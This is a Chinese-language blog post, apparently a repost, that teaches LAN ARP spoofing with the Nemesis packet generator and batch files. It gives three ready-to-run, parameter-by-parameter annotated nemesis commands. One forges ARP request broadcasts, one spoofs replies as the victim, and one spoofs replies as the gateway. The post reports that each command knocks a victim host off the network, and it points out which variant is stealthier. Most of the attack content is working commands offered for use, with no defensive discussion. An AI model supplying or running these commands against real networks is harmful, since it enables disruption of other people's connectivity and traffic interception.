局域网ARP欺骗:原理、实例、工具

 局域网ARP欺骗:原理、实例、工具 版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://techlife.blog.51cto.com/212583/38737 简介     本文介绍了一个基于Nemesis的LAN发包工具, 并演示了LAN上ARP攻击的几种情况. Nemesis本身就是一个基于命令行的开源发包程序, 它可以在Windows系统上运行, 但是它每次只能发送一个包, 所以需要编写DOS批处理程序才能让它连续发包, 这样才能进行有意义的攻击. 程序下载

  • 附件中包含本文中使用的包含了DOS批处理程序Nemesis程序. Nemesis的在Sourceforge上的主页地址是http://nemesis.sourceforge.net/

  • Nemesis使用WinPcap 3.0提供的函数库进行发包. 所以需要到WinPcap网站下载并安装WinPcap 3.0. 虽然WinPcap的最新版本已经升级到4.0, 但是Nemesis必须要使用WinPcap的3.0版本. 如果安装了Ethereal等工具, 可能计算机上存在WinPcap的较高版本, 这时必须使用3.0版覆盖较新的版本.

攻击示例 伪装成被攻击主机广播ARP请求    首先根据LAN的实际情况编辑conflict.bat文件, 本文中的示例假设LAN网段为222.88.88.*, 网关地址为222.88.88.1, 使用普通的SOHO路由器. 双击conflict.bat执行攻击. 其中的Nemesis命令如下: 
     nemesis arp -S 222.88.88.101 -h 00:34:67:88:2F:22 -D 222.88.88.1 -m 00:00:00:00:00:00 -P payload.txt -M FF:FF:FF:FF:FF:FF -H 00:34:67:88:2F:22 
其中各参数的意义如下:

  • -S 222.88.88.101 ARP请求中的源IP地址, 也就是被攻击者的IP地址.

  • -h 00:34:67:88:2F:22 ARP请求中的源MAC地址, 可以随便伪造一个MAC地址.

  • -D 222.88.88.1 ARP请求中的目的IP地址, 可以随便指定一个IP地址, 结果都会使得被攻击者发生"IP地址冲突"错误, 但是如果指定成网关的地址, 还会更新网关的ARP缓存, 网关就无法正确将数据发送给被攻击者. 在实际测试中,被攻击者会立刻ping不通网关.

  • -m 00:00:00:00:00:00 ARP请求中的目的MAC地址, 一般为全0.

  • -P payload.txt 从payload.txt中读取Payload部分的内容.

  • -M FF:FF:FF:FF:FF:FF 2层包头的目的地址, ARP一般是广播地址.

  • -H 00:34:67:88:2F:22 2层包头的源地址, 最好与-h中指定的地址相同,这样可以使得发送的攻击包看起来更像一个真实的ARP请求包.指定不同的地址也许也是可行的.

   以下是攻击时使用Ethereal抓取的数据包,可见其中包括伪装的ARP请求以及网关的ARP应答. 伪装成被攻击者进行ARP应答    此攻击在i_am_the_other_guy.bat中实现, 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.101 -h 00:44:44:AA:3B:4D -D 222.88.88.1 -m 00:14:78:89:7c:c4 -P payload.txt -r -M 00:14:78:89:7c:c4 -H 00:44:44:AA:3B:4D
其中各参数的意义如下:

  • -S 222.88.88.101 被攻击者的IP地址.

  • -h 00:44:44:AA:3B:4D 伪造的被攻击者的MAC地址.

  • -D 222.88.88.1 网关的IP地址.

  • -m 00:14:78:89:7c:c4 网关的MAC地址.

  • -P payload.txt 从payload.txt中读取Payload部分的内容.

  • -r 指定nemesis发送ARP应答包.

  • -M 00:14:78:89:7c:c4 网关的MAC地址, 与-m相同.

  • -H 00:44:44:AA:3B:4D 伪造的被攻击者的MAC地址, 与-h相同.

以下是攻击时使用Ethereal抓取的数据包.此攻击的原理依然是刷新网关的ARP缓存,但是不会像上一种攻击那样在LAN中发广播,从而更具有隐蔽性.

 伪装成网关进行ARP应答    此攻击在i_am_router.bat中实现, 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.1 -h 00:55:55:55:55:55 -D 222.88.88.101 -m 00:4E:4C:81:7D:E2 -P payload.txt -r -M 00:4E:4C:81:7D:E2 -H 00:55:55:55:55:55
其中各参数的意义如下:

  • -S 222.88.88.1 网关的IP地址.

  • -h 00:55:55:55:55:55 随便伪造的网关的MAC地址.

  • -D 222.88.88.101 被攻击者的IP地址.

  • -m 00:4E:4C:81:7D:E2 被攻击者的MAC地址.

  • -P payload.txt 从payload.txt中读取Payload部分的内容.

  • -r 指定nemesis发送ARP应答包.

  • -M 00:4E:4C:81:7D:E2 被攻击者的MAC地址, 与-m相同.

  • -H 00:55:55:55:55:55 伪造的网关的MAC地址, 与-h相同.

以下是攻击时使用Ethereal抓取的数据包.实际测试中,被攻击者的ARP缓存被立刻刷新,网关的MAC地址变成了一个不存在的地址,从而无法与网关通信.

未经允许请勿转载:超人很忙空间 » 局域网ARP欺骗:原理、实例、工具

赞一个 (0)
分享到: +More